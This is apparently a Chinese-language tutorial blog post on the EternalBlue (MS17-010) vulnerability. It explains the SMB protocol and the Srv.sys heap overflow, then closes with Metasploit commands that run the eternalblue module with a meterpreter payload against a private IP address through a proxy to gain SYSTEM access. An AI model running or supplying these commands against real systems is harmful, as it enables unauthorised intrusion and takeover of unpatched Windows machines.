了解永恒之蓝

什么是永恒之蓝

永恒之蓝是一种利用Windows系统的SMB协议漏洞来获取系统最高权限,以此来控制被入侵的计算机的工具

编号为:MS17-010

SMB协议

SMB 通信协议主要是作为 Microsoft 网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB 使用了 NetBIOS 的应用程序接口 (Application Program Interface,简称 API),一般端口使用为 139,445

协议服务器信息块,它是一种客户机 / 服务器、请求 / 响应协议,通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠 SMB 实现的,SMB 协议工作在应用层和会话层,可以用在 TCP/IP 协议之上

简单来说SMB就是Windows 里的“共享文件/共享打印机”的协议。你在内网里内网里访问别人电脑里的共享文件夹就是SMB在工作!

SMB原理

首先客户端发送一个 SMB negport 请求数据报,并列出它所支持的所有 SMB 的协议版本。

服务器收到请求消息后响应请求,并列出希望使用的 SMB 协议版本。如果没有可以使用的协议版本则返回 0XFFFFH,结束通信。

协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送 SessetupX 请求数据包实现的。

客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个 SessetupX 应答数据包来允许或拒绝本次连接。

当客户端和服务器完成了磋商和认证之后,它会发送一个 Tcon 或 TconX SMB 数据报并列出它想访问的网络资源的名称,之后会发送一个 TconX 应答数据报以表示此次连接是否接收或拒绝。

连接到相应资源后,SMB 客户端就能够通过 open SMB 打开一个文件,通过 read SMB 读取文件,通过 write SMB 写入文件,通过 close SMB 关闭文件

简单来说就是:确定SMB协议版本 → 建立连接 → 客户端操作文件

漏洞原理

SMB 是 Windows 系统中用于文件共享、打印服务的网络协议,EternalBlue 针对的是 SMBv1 协议栈

问题出在 Srv.sys 内核驱动对特定 Trans2 请求 的处理中存在内存错误

攻击者伪造一个恶意 SMB 请求包,伪装成 文件传输请求(Trans2_SESSION_SETUP),该请求包含精心构造的大小字段

分配一个小缓冲区(比如 1024 字节) 然后试图写入比它更大的数据(比如 4096 字节)

最终导致 内存越界写(Heap Overflow)

由于是 内核态驱动处理这个请求,攻击者能利用溢出控制某些结构,最终劫持执行流(比如修改函数指针),达到:

  • 提权(Ring 3 → Ring 0)
  • 执行恶意 shellcode
  • 植入木马 / 后门

不懂也没关系,了解到它是通过内存溢出导致的就行了,关键是会用

漏洞利用

在kali里面去用msf

1
2
3
4
5
proxychains4 msfconsole    //让它的网络流量通过代理服务器转发
use exploit/windows/smb/ms17_010_eternalblue //启动后直接选择漏洞利用模块
set payload windows/x64/meterpreter/bind_tcp_uuid //攻击成功后要运行的 payload
set RHOSTS 172.22.1.21 //设置要攻击的目标机器的 ip
exploit //攻击

代理修改在/etc/proxychains.conf

1
2
[ProxyList]
socks5 ip port

打进去之后就是system权限了